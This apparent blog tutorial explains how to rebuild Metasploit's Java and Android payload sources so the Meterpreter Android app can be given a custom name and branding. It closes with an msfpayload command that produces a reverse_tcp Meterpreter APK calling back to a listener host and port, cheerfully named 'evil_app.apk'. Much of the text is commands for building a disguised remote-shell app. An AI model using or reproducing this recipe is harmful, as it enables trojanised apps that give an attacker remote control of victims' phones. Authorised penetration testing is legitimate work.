Customizing Metasploit Java Payloads for Android APK Deployment
Customizing a metasploit Java payload can be accomplished through the following process. Please note that some steps may require other modification or skills to complete. This is not a simple how-to, but more of a reference for those who already know metasploit, and just need to customize some element of the packaging for a Meterpreter payload, or a Android apk app, etc.
- Install Maven, the Oracle JDK 8, and dependancies. In Ubuntu, this is done with:
apt-get install oracle-java8-installer maven
- Clone the java sources in the same directory that you have the metasploit-framework directory/
git clone https://github.com/rapid7/metasploit-javapayload
- Download the Android SDK (or Android Studio if you like) from:
Install it using: the /root/android-studio/bin/studio.sh command. Many downloads and installation processes will follow.
- Add a mapping for the shell variable ANDROID_HOME in your .profile and re-source it:
echo “ANDROID_HOME=/root/Android/Sdk” >> ~/.profile
- Force update the Android SDK tools with (We need to get the older versions of the tools) NOTE THAT THIS WILL BE A LARGE DOWNLOAD OF SDK FILES:
/root/android/Sdk/tools/android update sdk –no-ui —obsolete –force
- Edit the files that you need to edit. For example, to change the Application name and Window Title on the meterpreter Android app:
gedit metasploit-javapayload/androidpayload/app/res/values/strings.xml (to change the app_name parameter)
gedit metasploit-javapayload/androidpayload/app/AndroidManifest.xml (to change the app_name in the manifest)
- Use Maven to build the Java targets. This is usually done in the metasploit-javapayload directory with:
- mvn package
- Deploy the compiled Java to the main metasploit-framework directory with:
mvn -P deploy packageTurns out this is how one deploys the meterpreter and traditional payloads. The actual thing to do for the Android APK is (Many Thanks to Paul for testing this and letting me know):
mvn -P android package
Then do the usual thing to create the payload apk:
msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=443 R > evil_app.apk
And viola, you’ve got evil app with your branding, or modifications. Please ask any questions, and I’ll tell you what I know :-).